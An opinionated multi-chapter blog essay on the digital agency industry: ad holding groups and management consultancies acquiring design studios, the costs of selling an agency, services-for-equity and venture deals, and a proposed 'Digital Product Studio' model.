quote, a lot of people are putting on a good show... ""Digital Product is like teenage sex: everyone talks about it, not many know how to do it, everyone thinks everyone else is doing it, so everyone claims they are doing it..."" - (sort of) Dan Ariely Ad holding group agencies such as BBH, Huge, Rockfish, Wieden & Kennedy & Ogilvy et al have all established innovation 'Labs'. Based on evidence that's yet to be discovered, they have thus far proven to be marketing and client seduction efforts. They have shown little in terms of real world product output... repeat after me ""A Digital Product is a software enabled product or service that offers some form of utility to a human being"". These labs do not reflect a true intent or investment in building a product for the world. The dust-gathering 3D printers, soon to be joined by dust-gathering VR headsets, are symbolic. This wonderful piece on agencies and products from 2012 still stands strong today. Why Agencies Can't Create Products No self-respecting ""future of the agency"" panel or article is complete without a detour to product world. This is a mythical place where agencies... Despite the many acquisitions of digital shops, the ad industry is still characterised by a low level of technical competence in digital product. It has yet to effectively structurally, or culturally integrate digital within its walls. There are simply so few examples that demonstrate success (before you wheel out RGA and Nike Plus, please... that was launched four James Bonds ago). The industry has struggled to effectively deliver beyond web marketing and e-commerce work into mobile software development. It is hard to see how it will command emerging technologies such as VR or wearable tech let alone complex digital product work. This is precisely where the industry's failure to grapple with digital product work, which commands a much higher premium and margin, will have consequence. If digital advertising and not products and services are to be commoditised and if ' The future of marketing is to be useful ' then there should be no greater impetus for the industry to drive towards the delivery of digital products and services. Brand clients, nearly all of whom are becoming software oriented businesses, will ultimately seek out partners who are able to deliver digital product work. Within the confines of a confine of digital, the ad industry will be left to operate in the low end of the market. It is here that margins and profits will dry up. (Maybe then the focus will shift again on selling brands by making, well... advertising). That's why tech companies and startups will let ad agencies market their core consumer facing products but won't let them work on the products themselves. The ad holding groups have made an art form of establishing relationships with global brands. They have had the ear of the business decision makers more than any other vendor. I would venture that few do it better. However, with every fumbled product initiative another decades-old bridge gets burnt. As George Walker Bush said ""Fool me once, shame on ... shame on you. Fool me... You can't get fooled again!"". Destined to be placing ads on those cool race cars rather than getting to work on them. Clients need to question how honest a partner is incentivised to be if their agency delivers on only one part of the process. If you're married to only one part of the process, selling purely strategy, design, branding or media, you're most likely going to make that as big and expensive as you can as that's how you make money. In contrast, being responsible end-to-end for getting a product to market, promotes honesty and efficiency as you're invested in the outcome and post-launch iteration. It begs the question of whether, like supertankers trying to navigate rapids, the big ad firms are too big to function in the new world of digital product. For the 500-plus person vessels sailing the marketing seas I am not confident the patient would survive the necessary surgery, nor their holding group masters allow it. But hold tight, we're not done yet because adding to all of the above, shit just got real... Management consultancies have entered the arena through a glut of digital consultancy acquisitions. They have done so for reasons both similar and different to the ad holding groups. They already have C-suite access and accounts from which they are generating tens or hundreds of millions of dollars a year per client. Now they are slip slidin' along the value chain to sell them more stuff and they have their eye on the ad holding group's slice of the pie. ""It's not about ideas, it's about making ideas happen"" - Scott Belsky They are also responding to market demand. Much as visions of 2030 spur the imagination and inform strategy, they don't impact more immediate business cycles. Increasingly their clients (and the world) are slowly edging away from buying ideas in multi-million dollar, 300-page powerpoint decks towards actually making ideas happen. In the same vein that the value of AOR and retainer relationships are being questioned by clients, the same is being asked of the strategic engagements of management consultancies. Their clients have become increasingly focused on a meaningful and actionable return on their not inconsiderable investment. A broadening of services from idea to encompass execution was required. By 'buying' design, management consultancies could now sell 'design' through their newly minted, execution focused storefronts; McKinsey Digital Labs / Accenture Interactive / Deloitte Digital / Capgemini Digital Customer Experience / IBM iX etc. They have ready buyers in existing clients, whose businesses are becoming digitised and running on software. Now they have creative credibility by acquisition, digital chops, and a new and very large product and service design banner to wave to their clients. Something we need to see play out, given the sheer size of these client accounts, is whether design and digital product delivery will be central to or an afterthought in their relationship with the client. This will have a telling impact on the environment in which that work is carried out. All of this has the behemoths colliding. The old school T-Rex ad holding firms are now fighting over prey with the genetically engineered I-Rex management consultancy design groups (sincere apologies if you haven't seen Jurassic World). Let's take a look at the 2015 Revenues of these titans: * Revenues crudely adjusted to USD from their reported local currency Make no mistake these are absolutely giant companies fighting it out and the battle will be epic! The impact of these seismic shifts in the industry are yet to fully play out. Will the management consultancies entering the market be able to escape the forces plaguing the ad holding groups? Will either be able to shape compelling and sustainable digital product propositions for their clients - the ability to 'actually make ideas happen'? Will they be able to hold onto the talent they have gathered up via expensive acquisitions? The answers to those questions we will only know a few years down the line. But right here right now amidst the fray, independent digital consultancies, mere pissants when you consider the numbers above, are a hot commodity. At the same time 'design as a service' is by all accounts in critical condition. So next we're going to zoom in on the little guys amongst all this madness and explore what's going to be left when the smoke clears. In chapter I we focused on the digital industry at a tumultuous macro level. This sets valuable context in which to explore the situation at the consultancy and agency level that many of us call home. In this red hot market, agency valuations have never been higher. But the truth is that selling is the death of the company you know whilst the buyer ends up with a mere facsimile of what they paid good money for. Despite the consolidation and growing trend of in-house teams, there will always be a market for great consultancies as long as they are prepared for a new reality. So get ready for the second coming of the independent studio. CONGRATULATIONS!!! Your firm with a global footprint and a few hundred staff, which would have fetched upwards of $75M USD in 2013, will now command closer to $100M in 2016. There is no better time than now to sell your agency with so many well heeled suitors. In fact the market is so hot right now that agencies are being sold based on multiples of between 3x, 4x and in some cases even 5x revenue (not EBIT). Factors such as size, numbers of studios in key markets and client list dictate where in that threshold you sit. Here you go, dream a little... Selling one's company is of course completely OK and is any owner's right. The true motivation for a large majority of the aforementioned deals is no-doubt cashing out with retirement on the far horizon. When confronted by the reality of a repetitive Greek tragedy of a professional life in its closing cycles, a handsome offer for one's life's work is surely hard to resist. Certainly, scanning the Microsoft Word acquisition template press releases... ""wider, scale, expand, access, yada yada yada"" from the range of the companies who have sold in the last few years it is hard to discern any authentic non-financial motives (of course money is never mentioned). All good right? Except the vision they sold to their people along the journey certainly didn't include being sold. Despite their declarations, they did not start out in the design industry dreaming of selling to a management consultancy, a global accounting firm, or a credit card company. They know it and their people know it. As such telling the world and more crucially their people how great this is going to be for 'us' is not all good. Adaptive Path gave an incredulous spiel following their sale to the credit card company Capital One, declaring ""It kind of feels like where we were headed all along."" 19 months on it would be interesting to see how many of those souls are still vibrating. @ezyjules our collective soul is vibrating at a frequency where we are able to pass through the shallow tunnels of popular banking opinion. - Scott Sullivan (@scotsullivan) October 2, 2014 I'd personally love to read a from-the-heart announcement... ""Hey folks, As many of you will be aware someone came in with a great offer for our life's work. We reflected long and hard and came to the conclusion that this is the right time, that we've taken this thing as far as it can go. We fought for the best possible deal for our people, so if most of us stick it out and get stuck in for a few years everyone will be looked after (and to be transparent we will maintain our earn out). Things are going to be different moving forwards. It will become something new. So we'd like to acknowledge and celebrate the end of an era and all the hard work you put into making this happen. Let's accept it for what it is, make the best of it and all earn our keep as we ride this one out.""  - said no one. ever. Teehan+Lax went well beyond this standard not just in word but also in action by opting for a dignified dissolution of the company rather than a sale. The partners and the employees that would and could moved on to Facebook. This path uniquely preserved the T+L legacy. Exhibiting great self-awareness and honesty, they spoke of failing to break their cycle... ""If Teehan+Lax was to be successful going forward, we would need to find, what Geoffrey Moore calls, Escape Velocity . Escape Velocity is the work and investment required for established companies to break patterns in their business to find new levels of growth and sustainability."" - T+L 2014 The truth Teehan+Lax recognised is that selling your agency is unequivocally the end for the company you knew. You are no longer master of your own destiny. It's death by spreadsheet. Once assimilated, your company is now a cell in another company's spreadsheet in which there are no columns for culture. Most crucially the collective spell, which kept the talent that makes up the sum of the parts doggedly committed to the cause beyond all reason through hell and back, is broken. You're culturally holed below the waterline. If the agency is lucky they will feature in the following well worn conversation for a generation or two before being forgotten. A: ""do you remember <insert agency name>?""B: ""yeah, they were great weren't they. What happened to them?"". The tragic thing about the denial, the self-delusion or worse the outright lie to your people - telling them that selling is not the end but the great next step in the journey - is that no one gets a closure experience. When someone dies you hold a funeral or a wake for people to come together. They mark the occasion, reflect, cry, laugh, celebrate, and commiserate. It is a fundamental human need that allows us to honor what has been and begin the process of moving forward properly. I suspect the Teehan+Lax closing party was just that and the bond between their family, wherever they scatter, will consequently endure. By not marking the end of what things were, the passing of an era, the company slowly dies. The earnout incentive and timeline is to all intents and purposes a march towards a desert mirage. One by one the people, its very life force, fall away as does its legacy. The founder of Fjord, who sold to Accenture in 2013, recently wrote an article on If a company is its people, then what's the point if virtually no one you took the journey with arrives at the destination with you?' Can Corporate and And Creative Cultures Ever Truly Merge? '. It speaks of protecting culture, open-space studios and design methodologies in a sale, yet is tellingly thin on the protection of its people. If a company is its people, then what's the point if virtually no one you took the journey with arrives at the destination with you? It's like scoring the Presidential suite at the Bellagio... on your own. It has to feel somehow empty. We've seen death by acquisition over and over. You'll see nearly all the companies who have sold in the shopping list at the top of this piece wrestle with their predicament, bleed talent, fade, and end up as zombies - mere facsimiles of their former selves. ""This old brooms had 17 new heads and 14 new handles in its time"" - Trigger What will all the ad holding firms and management consultancies end up with from their shopping spree a few years down the line? If an agency is acquired and 70+% of the people, the very soul of that company, leave in the months and years that follow, does the buyer actually end up with what they paid for? It's a brain teaser Greek philosophers (See ' Ship of Theseus ') and cockneys have wrestled with over millennia. There has been a great deal of noise made about design firms stagnating and the Don't panic. We're not seeing the end of design as a service. disappearing business of design . This has been driven by the sales and consolidation, the growing trend of internal design departments, and a few prominent shops shuttering studios - such as Smart Design's SF studio, more due to shifting strategic focus than P&L. Don't panic. We're not seeing the end of design as a service. The underlying business model of design as a service remains strong and will continue to exist for many reasons: There are more projects than there are good teams. Consequently there will always be work for companies that do good work. If you do shit work you're going to get less work and attract shit projects (i.e. you're done for). If you do great work you are more likely to get more work and attract great projects. It's a rather obvious virtuous circle many agencies don't seem to appreciate. Any client, be it a startup or global brand, is hedging risk when they work with a consultancy. The cost of failure to meet market, board, or investor expecations around a critical product release heavily outweighs the comparatively high premium of retaining a consultancy. Many clients simply neither have the skills or talent in house or the permission or affordance to build a team. They therefore need to work with consultancy partners to deliver. Even for brands with internal design departments the field is rife for collaboration and opportunity for consultancy. The inescapable goldfish bowl existence of in-house team robs a company of vital perspective, with the outside world turning exponentially faster than their own. The banking sector is especially affected with regard to product development lifecycles that run in years rather than months. Vital outside market perspective and agility are the panacea that the digital consultancy can offer. Health warning: for the uninitiated studio, the inertia of diving into work with a big organisation can be all like... Whether in-house or in a consultancy, building and running high performing design and engineering teams is extremely difficult. Really! That shit is super fucking hard. You could hand pick a team made up of the very best players from any league of any sport and still have a team that stinks compared to a cohesive, well-drilled team. On top of that, achieving a truly product oriented 'one team' approach with tightly integrated designers and engineers is even harder. (Any team that has engineering on different floors, buildings, states or even countries to design is building weakness into the system). All the money in the world cannot buy getting that right and there are innumerable dysfunctional in-house and agency teams that stand testament to that. So if a consultancy can offer the above, something that even some of the world's wealthiest companies can not pull off, then you're going to get business even if there are internal design departments in place. Design as service is far from dead. When Teehan+Lax referred to Escape Velocity, a failure to break the cycle to achieve the next evolutionary step for their company, they brought the true challenge for the studio model into sharp focus. How do you achieve orbit in your business if you don't want to sell? The real challenge is to evolve, do it all better: capabilities, product development, collaboration, process, and culture, to deliver the irresistible package. We're set for a second wave of new independent agencies that will aim for just that under the product studio model. But before we go there, we interrupt this transmission for an important message... The design industry has had its ego stroked hard over the last few years. This has resulted in what I refer to as the 'designer's delusion' - the naivety and arrogance to think that an industry can be disrupted simply by making an app. That beautiful material design EMR alone is not going to 'disrupt healthcare' because it is only one tiny piece of the gargantuan effort required to even make a dent. For some perspective, beyond pixels that effort can involve lobbying government and taking cities to court. The design industry has been guilty of self-indulgent navel gazing, debating the difference between UI and UX, chin stroking on 'design thinking' or trying to capture the essence of what 'Design is...' in 140 characters. Muscles have atrophied from years of consultancy work for giant organisations with five floors of lawyers (NO you cannot spend eight weeks on registration flow!). Every day that we continue to pontificate and indulge in the abstract a dangerous gap widens between us and startupland and techworld where time and methods relentlessly accelerate. It's time to speak like humans, get grounded and get real. It is vital that designers be equipped for this 'real' world. When a board is reaming you over volume of users, user retention and revenue models, that storytelling campfire bullshit doesn't cut the mustard. In this world the hierarchical setups, rigid process and stratified walls between disciplines are falling away. Interaction design, visual design, service design, design research et al are all origin stories for the new breed of Product Designer who is honing her multi-disciplinary skills and studying data, business, and technology to move up the value chain with authority. Anyway... Many decades old studios have disappeared. But whilst we're undoubtedly experiencing a contraction in the number of independent consultancies, we are far from the end of times. The talent has been assimilated into ad group holding companies, management consultancies, and startups over the last several years. The question is whether they can retain the talent. Unless these environments prove to truly satisfy they will not be able to. Designers and engineers are are idealistic folk who want to make things that count. As long as they can afford to be idealistic, they will ultimately place what they are putting into the world above the money they are taking from it. They also fear stagnation. Their inner voice constantly seeks purpose and in time it almost always wins. That reality has been manifesting itself in the talent drain from the advertising and marketing industry over the last five years. By way of acquisition, the management consultancy industry has swept up a lot of the talent. We're still to see how it's going to play out in that domain. Doing great product work within the confines of the management consultancy industry presents its own challenges. It is a deeply political environment that requires a massive operational overhead just to be able to do your job. This is a million miles from lean and agile and it places a heavy burden on individuals and teams. We've yet to see whether design is viewed as a core or bolt on client offering by the consultants who rule their client fiefdoms. This will dictate the level of stakeholder access that teams will be able to secure and in turn the quality of collaboration and of the end-product. If a high percentage of the work is on projects that do not see the light of day, working in abstract, then this will erode the talent's interest. How will the culture clash play out between the tattooed 'design guys' who are rolled out by the pressed pants 'consultant crew' to 'do' some design. Grab your popcorn folks! As for the owners and the most senior talent from companies acquired by ad holding companies and management consultancies? The majority of those companies will kick their final cultural death throes in the coming years and, with earn outs complete, those people will want out. The inner voice just has a little more resistance to overcome. These are exactly the kinds of people inclined to start new consultancies, kickstarting the second wave of the independent studio. The intoxicating allure of the startup world has attracted so many designers and engineers in the last decade. However, markets are correcting their inflated valuations of tech stocks and the funding for startups is drying up. As that reality bites, the talent is sobering up. Everyone is realising that the gold in them there hills is just as hard to mine as it is anywhere else. There are no sure things - the laws of nature ultimately apply to a tech startup just as much as they do to other companies. We are going to see more horror stories about long-term employees with common stock getting burnt in the coming months and years due to the ratchets and liquidity preferences for investors built into new rounds of financing. The case of the unicorn Good Technology selling to Blackberry rather than for an IPO is a cautionary tale for those who opt for stock over salary. I am not saying that any of these silos for talent are better or worse than the other, except for advertising in its current state. They each present their own challenges and the talent is increasingly sober to that and evaluating options between them all. By 2018 the second coming of the independent studio will be in full force as waves of designers and engineers leave ad land, management consultancy, and startups to start or join new digital consultancies.In the coming years a LOT of the talent that has been holed up will blow like dandelion seeds in a fresh spring breeze. By 2018 the second coming of the independent studio will be in full force as waves of designers and engineers leave ad land, management consultancy, and startups to start or join new digital consultancies. A thriving new independent agency community will emerge with a sharper focus to their work, resolved to do things differently under a new and progressive business model. A great majority of the industry's agencies and talent has been churned by the strategic expansion of ad holding groups and management consultancies. But from the carnage and fallout a new and evolved breed of digital agency will emerge that understands and engages with the new world and siezes upon the opening in the market. In chapter I and II we explored current digital industry and agency perspectives and the quandary which talent finds itself in. We've also heralded the second coming of a new breed of studio. Iterating on the old agency model is vital or you'll be condemned to repeat history. The evolutionary avenues are already being explored by the startup studio, as well as by progressive agencies engaged in venture and own product initiatives. But you need to approach the game wisely or you could lose it all! The digital consultancy business is a game of highs and lows. There is adventure, friends, fun, creativity, and plenty of variety as you get to work on a range of problems in a diverse range of industries. Rock 'n' roll! But it can also be a complete pain in the arse. You live and die by the whim of clients, budgets, and the economy - oh the uncertainty. The outlook can go from 72 and sunny to end-of-days and back again within the course of a month. Your services suffer an endless and increasingly faster downward spiral of commoditisation. In the typical vendor-client relationship shit flows downhill right where you are standing with the shovel. The work can at times seem pointless and unmotivating. The hours can be insane and crap all over your work life balance. The bigger the company gets the more furiously everyone has to scramble. It relies on humans who have needs, feelings, and emotions - unhelpfully, all kinds of different ones at different times - that need to be considered and cared for. Then after putting up with all that, one day the company you work for gets sold to a credit card company, or as an owner, you get sick of the life and sell to one. All of that can mean it's not much fun at the bottom, middle or top of the pile in the consultancy game, whatever the payoff. Whether you're considering starting a new consultancy or pivoting an existing business, you have a fundamental decision to make. Do you want to build A: a giant fucking hamster wheel or B: a rocket ship and explore the galaxy. The hamster wheel represents the consultancy business as usual. It's a model that relies on a linear relationship between effort and revenue; you sell your consultancy services on the basis of units of time. To make more money you need to make the hamster wheel bigger. To get to 'bigger' and maintain it, everyone including you needs to run furiously faster. When they are sleeping the company does not make money. Those incidentally are the conditions in which an owner is more likely to get tired and sell and those in which employees are going to disengage. Does anyone who has the choice really want to live that life again? A 500 or 1,000 person marketing agency for example is a giant hamster wheel. I bet most people in them from early on are bewildered with what it has all become. In this age it is evolve or die for the consultancy model. But at that size all your vital organs rely on the dying model of marketing work. You may not survive the surgery required for the transformation. There has to be a better way. I've referred a lot to escape velocity, breaking patterns, evolution, doing things differently and hinted at the need for a new and progressive business model. How can we change our fate, compensate for uncertainty and take control of our destiny? In what direction can we diversify in order to escape the apparent laws of nature of the consultancy ecosystem? For some inspiration for what the rocket ships could look like it's well worth looking at the emerging startup studio model and some of the venture and 0wn product plays that progressive digital studios have been making in the last few years. The startup studio is a relatively new model of company that's focused on developing tech startups internally. They keep their fledglings warm, fed, and safe until they are ready to fly the nest. Not exactly a fund or a typical incubator, they might develop their own startup, back a founder or buy a company - all the while nestling them in their warm ample bosom. New York's are arguably the baby daddy of the model. They acquired and revived digg and bitly, gave birth to Giphy ($55 Million Series C At A $300 Million Post-Money Valuation), Dots (spun out with a $10 million Series A round from Tencent) and Poncho ($2M seed round hot off the press). One way in which they seed new startups is by backing founders through a Hackers in Residence program that brings in and enables talent. Whilst they are not a fund, they do make small seed investments of between $100k to $200k in companies that they 'think will make our network stronger'. The crew over at Betaworks shared the content of their 2015 shareholder book , which gives you a great insight into the setup and philosophy. They are super hooked up in the fund and the startup community, which gives them strong deal flow and access to investors. Other notable startup studios include New York and San Francisco based . Their focus is to 'partner with founders to create new products and services'. They create the environment to help them scale as independent companies through shared services (back office) and resources (space). That allows the startup's team to focus on product and business. We've yet to see how their piglets Kit, Reserve and Drip will fare in the world. Expa recently raised $100m in funding and took a step into the incubator space by launching Expa Labs to incubate early stage companies with $500k of seed funding and 6 months of office space. The CEO and founder is Garrett Camp, co-founder of Uber and StumbleUpon. They have also attracted partners such as Foursquare co-founder Naveen Selvadurai. They have an absurdly strong network and access to money and investors. Science , based in Santa Monica in LA, is another player focused on internal investments and partnerships. They incubate by 'developing a thesis, testing the concept, and then bringing in like-minded talent to help execute and scale.' as well as make minority investments. They had early success leveraging their toolset with Dollar Shave Club (raising $50 Million Series C round in September 2014, now serving 8.8% of the US men's cartridge market with over a million members) and DogVacay (raising a $25 million Series B round in November 2014). They've put a lot of chips on the table over the last few years and have yet to see a significant exit that would replenish the coffers and prove the model works. The startup studio model is still relatively new. The barriers to entry to creating a startup such as space, tech, and operations are becoming lower each year. So the startup studio arguably becomes a less compelling and unique proposition for startups. Whether for evolutionary or reactive reasons the leaders in the space are continuously revising their approach and offering. Money and network alone are not enough to guarantee success. Nevertheless the startup studio highlights an opportunity in and around the early-stage technology startup space. I would argue that the ability to execute product has allowed Betaworks to make the greatest headway. No doubt fuelled by rampant valuations and news of herds of unicorns roving the Californian plains, everyone has been drawn towards the startup and venture space like moths to the flame. However, it is a very different game to services and not something you can simply stroll into. Bigger, older companies with spare cash investing in smaller, younger companies without cash has been happening since the beginning of business time. However in the last six years we have seen agencies enter the venture field. They have done so under formalised venture fund arms which invest cash into early stage technology companies. The giant ad holding groups have always been busy investing their riches. Notably WPP Ventures ( Crunchbase ), the investment arm of WPP Digital for whom investments include a 2015 $50 Million series D Investment in Refinery29. They made $50 Million from their $5 Million investment in Buddy Media when it was sold to Salesforce for $745 Million. Interpublic (IPG) ( AngelList ), which owns Deutsch, Huge, McCann Erickson, and R/GA, bought a half-percent stake in Facebook in 2006 for less than $5 million. In 2011 it sold half of its shares and netted $130 million in the process. They are sitting on their remaining .25% stake, valued at $212 Million. Fair play, that was a stupendous coup. In 2016 French advertising agency holding group Publicis Group launched the Publicis90 fund to invest €10 Million ($10.9 million) in 90 startups. The process by which they are selecting their investments looks like some kind of Facebook-Likes-regional/national-America's-Got-Talent-clusterfuck, a million miles away from how funds behave. The lucky startups will also benefit from mentorship from senior management who've never launched a startup. Good luck with that. However, this is lifestyles of the rich and famous territory. These guys are minted, are giants and their lifestyle choices are far removed from ours. So where is this kind of activity taking place at the atomic level in 'smaller' companies? Back in 2011 there was a lot of noise about agencies setting up funds including the $16 million BBH Black Sheep fund and Method Inc rounding up $30 million. This represented a false start as many announced funds failed to pan out. The lesson seems to be that once you are acquired you also give up your ambitions of making cash venture investments. Your new masters want you focused on making cash rather than spending it (Viva la independencia). One of the few agencies that sits in a holding group that has maintained its ability to play in the venture space is RGA . Their investment arm RGA Ventures ( Crunchbase ) has been highly active. That activity is principally driven through their RGA Accelerators in which they begin with $120K investments for up to 6% equity. They also invest greater amounts and follow on, working not just at seed, but also Series A/B, mostly in line with a lead investor. They are able to present themselves as a unique strategic investor by bringing not only cash but also their services, resources, and a deep and wealthy network to the party - an apparently virtuous circle. All of this activity relies on having spare cash to invest, which only happens at a certain scale. A new agency would have to put a few years of hard work in to build enough reserves to afford to diversify into investing. There are however other ways in which smaller companies are getting some startup equity action and that is by getting paid in equity rather than cash. The practice of companies being paid for their services in equity rather than cash by clients is nothing new to commerce or to the tech sector. The practice has been a near constant in the industrial design field. Ammunition Group took equity in Beats back in the day and Fuseproject is well known for its venture design-based business model that greatly reduces cash fees in return for a royalty/equity arrangement. Fuseproject notably took an equity stake in Jawbone (admittedly not-so-hot stock right now). Smart Design has been associated with OXO since 1990, having arranged a 3% royalty that generates a double digit percentage of its profits, and has done equity for services deals. Smart founder Davin Stowell notes ""Investing in physical product is tough business - even if you have a great product, AND distribution, AND initial success, scaling becomes a challenge"". During the dot com boom Silicon Valley lawyers would on occasion take equity in exchange for their services. But when the bubble burst in the noughties plenty of fingers got burnt and the practice petered out. However, it's becoming a growing trend in the digital consultancy space, a sign of renewed confidence (or forgotten history) in the tech sector. The barter can solve both parties needs. For startups who don't have the cash, bartering provides access to the help they need to get to market. For the service provider who does not have the cash spare to invest it gets them a seat at the early stage technology startup venture game. It makes a lot of sense as service providers often get to see companies way before VCs at a stage where equity is early enough to be meaningful. As such, to harness that opportunity a number of reputable design focused consultancies have formalised their services for equity propositions. In 2014 Frog established FrogVentures ( Crunchbase ). Positioned as a 'growth partner to entrepreneurs', they exchange their design services for equity in early stage startups. Also in 2014 their perennial competitor IDEO established their venture arm IDEO Futures ( AngelList ) to 'help new ventures soar'. They act as a seed fund, incubator, and run a startup in residence program through which they take a nominal minority stake in companies they mentor. At ( AngelList ) we've directly invested in, incubated, and engaged in services for equity deals with early stage tech startups since 2014. We invested in the prototyping tool Marvel App and co-founded DICE , a zero booking fees mobile ticketing service. In 2015 we formalised ventures arm ustwo adventures to manage our growing portfolio. , who sold to WiPro in 2015, worked on the supplier management tool Tradeshift under a services for equity deal and ended up making $3M on the stock in the process. Branding consultancy ( AngelList ) has partnered with startups and early stage companies since being founded in 2007. For select early and late stage venture-backed companies, Red Antler takes equity in addition to fees. Famously they took equity in then unknown e-commerce mattress company Casper which in its latest funding round reached a valuation of $550 million. Nice! Even videographers are in on the game. Sandwich Video , Silicon Valley's favourite video maker, established a venture arm in 2015. For select clients they would front the full costs of a video - usually around $100k- in return for $100k of equity. They did not have that setup in place when they did the Twitter and Uber videos, but did score Jawbone stock. And who doesn't want to be David Choe, the artist who painted Facebook's first office back in 2005 and got paid in stock rather than $60k in cash. That stock that is now worth $200 million. Jammy sod! There was also the interesting case of a consultancy called West Studios that came out of Square's IPO filing which benefitted only from a consultancy fee but also an option to purchase 375,000 shares of Square's common stock. This was seen as a little controversial at the time as then CEO Jack Dorsey was an also investor in the consultancy. Why has the services for equity deal been focused largely on early stage startups and not large brand clients? Alternative compensation arrangements such as equity or revenue share are extremely hard to pull off with big brands. Whatever the intent of the stakeholders you're working with, the very idea tends to blow the fuse when the proposal hits procurement or legal. You may as well be proposing the trafficking of children. Rule of thumb is that for each floor of lawyers your client has, your odds are exponentially longer. All of this means that the services for equity opportunity is largely restricted to startups who can be more flexible. All in all there are many indicators of significant intent in the consultancy space to begin to diversify by changing up the terms of business. It is still early days and we've not seen many results yet. But be careful not to be seduced by a fairytale. Investing in early-stage technology startups requires patience and long term perspective. It is important to note that for nearly every company above, services for equity is the exception not the rule. Most firms have established and staffed separate companies or divisions to manage these arrangements. They do so for good reason... So drop $100k or so of cash or services into a future unicorn at seed stage and cash out in between 4 to 7 years later in an IPO or exit. Simples right? Not so fast. However you got a seat at the cap table you need to understand that you are no different to any other investor. The golden rule of investing from legendary stock picker Peter Lynch holds true to investing in startups, just as it does to its cousin gambling... ""Never invest money you can't afford to lose."" - Peter Lynch Services for equity deals usually take place at the very early seed stage. With so little proven or defined in the business the chances of failure are high. How high? A lot of stats get thrown around such as that 90% of startups fail. Most of us are familiar with the rule of thumb that experienced investors rely on: that of 10 startups in Be prepared to lose every single penny and never under any circumstances bet the farm their portfolio, three to four will fail, another three to four will break even and one or two will bring home serious bacon. A 2012 study by Shikhar Ghosh, a senior lecturer at Harvard Business School, found that three in four startups fail to return investors' capital. Whichever of these statistics are right, it is clear that you are dealing with long odds. You're essentially playing an expensive round of roulette. So be prepared to lose every single penny and never ever under any circumstances bet the farm. Startups are a world where nine in ten kittens die. The journey takes patience. A 'liquidity event' that would return a significant multiple of the original investment could take anything between 4 to 7 years. This is precisely why, for many of the companies I've highlighted above, this kind of deal is the exception not the rule. You also need to get smart to venture investing. A typical agency team knows as much about startups as a garage mechanic knows about Formula One cars. So why on earth would you think you are going to do better than seasoned investors and VCs? You need to approach with caution, humbly and with eyes open. Understanding that early stage tech investing is a different game to consultancy, many of the aforementioned companies have established dedicated divisions staffed by investment professionals. The setup still does not mirror that of a typical venture firm, but they have become visibly better equipped in the last few years. And the 'spare cash' with which we can place some bets? The thing about gambling is that you need to be able to afford a seat at the table. Profits secure you permission to play. The ad holding group's permission to play comes from their formidable network and the fact they have very deep pockets. For a smaller company to get into the game they need to be generating significant margins and build the reserves from which the excess can be drawn to invest with. That informs the type of work that the agency needs to do, and their ability to charge a premium for it. Major - Investing is highly risky and you'll need to generate 'spare cash' to be able to do it. Yes, that's it! Why don't we use our skills and resources to build our own products! We can make money whilst we're asleep by generating passive revenues and finally break free from the linear relationship between effort and revenue. Enterprise SAAS products offer the prospect of building stable Since the inception of the instant global market of the app stores and stories of teenagers making million dollar apps over one weekend, agencies of all guises have been building their own products subscription revenues and consumer apps offer the prospect of bell-shaped revenue windfall. Since the inception of the instant global market of the app stores and stories of teenagers making million dollar apps over one weekend, agencies of all guises have been building their own products... ""A Digital Product is a software enabled product or service that offers some form of utility to a human being"". Outside of barren holding group agencies, who has successfully brought a product into market? Let's rise above success being purely defined by how much money was raised in round X or Y as that is money is invested to grow the company rather than an exit. Let's broaden this out to any of: attracting a significant user base or investment, a big exit, continued media attention or simply as having moved the needle or impacted our digital lives. In crude chronological order, and I am sure people will come at me with what I missed or what success is, here are notable digital products coming from agencies: There you have it. Client service agencies are capable of shipping their own products. We don't know how successful all of these efforts are ultimately going to be. A round raised is money given by investors to grow the business, not to put in the founder's pockets. What these examples do prove though is that it is possible to launch a product within an agency. What they all have in common is that nearly all these products came from smaller independent shops. Just like venture investing and services for equity arrangements, the opportunity of investing in own-product disappears once you are acquired. Your new masters are not interested in you taking that kind of risk. So when you take the cheque you can kiss those dreams goodbye. The other interesting thing to note is that in the 'olden days' running the product operation meant the consultancy side of the business ceasing operations. For a small agency with all resources invested in the product effort this is an inevitability, you can't do both. This is a function of the size of the agency at the time of the product initiative. As for when is the right time, it's a matter of how many vital organs are shared between the agency and the product operation and whether the conjoined twins would survive the separation. No one wants to blow their one big chance in life. So wouldn't it be wonderful if we could create many big chances? More and more we're seeing agencies maintain both the consultancy and own product sides of the business rather than betting all their chips on the product. In order to enable both you need to consider the timing and conditions under which you push into own product. Major - You want to be building a shipyard, not a ship. There is every reason to try to avoid the well worn path of the agency lifecycle. However it takes steely resolve across the company to do so. Whilst there is no magic bullet, there are numerous examples of companies breaking the mold and shaping their own destiny through venture and own product initiatives. The Digital Product Studio blends three components: Consultancy, Venture & Own Product. Running through each like letters on a stick of rock is a structural, policy, and cultural framework that binds them all together. Each feeds and informs the other in a powerful virtuous circle of network, experience, funding, brand, craft, and talent. The focus of the Digital Product Studio's consultancy work is purely on the delivery of digital products. To repeat... A Digital Product is a software enabled product or service that offers some form of utility to a human being. 'Digital product' or 'product' work is the delivery of the digital touchpoints of a product or service. The Digital Product Studio is capable of taking a product from meeting to market.The Digital Product Studio has the strategic, product management, design, and engineering talent that is capable of taking a product through to market launch and beyond from meeting #1. That capability means it earns its keep by getting products to market rather than exploiting any one stage of the process. That keeps things honest and outcome oriented. The Digital Product Studio completely eschews digital marketing work, which suffers from perpetual commoditisation (Seriously, don't go near it, it's like crack cocaine. You'll get hooked and it will be hard to get off it). Product work is less sensitive to economic downturns. The decision to cut a seasonal campaign marketing budget is ten times easier than the decision to cut a product and service development initiative that runs over many years. The Digital Product Studio is 'platform agnostic' by virtue of having engineering talent that covers multiple platforms. That engineering talent understands software, QA, integration, and embedded systems and it can shoot the breeze with the technical team of any major company. Well beyond web and mobile, it is ready to engage with emerging platforms such as wearables, VR, and beyond to stay at the forefront of digital product (""Screens? Where we're going, we don't need screens""). In doing all of the above it stays ahead of the technology and platform commoditisation cycle by being able to 'move to the next' in a timely fashion. The Digital Product Studio focuses on putting work of the highest possible quality and standard into the world. It knows that poor quality output will ensure certain doom and that in a virtuous upward spiral, a proven track record of delivering quality products to market will attract opportunity. The Digital Product Studio charges a premium for its services. That's not because it simply slaps a high price tag on its work, but because it offers a valuable commodity that is not readily available on the market. That commodity is the ability to design, engineer, and launch digital products for and with partners. Without the ability to get a product to market and into users' hands, even the greatest idea, Without the ability to get a product into users' hands, even the greatest ideas are meaningless funding, and network are nigh-on meaningless. This is the thing that companies with almost infinite resources greatly covet. The Digital Product Studio serves as the missing piece, the essential component. This premium offering is not 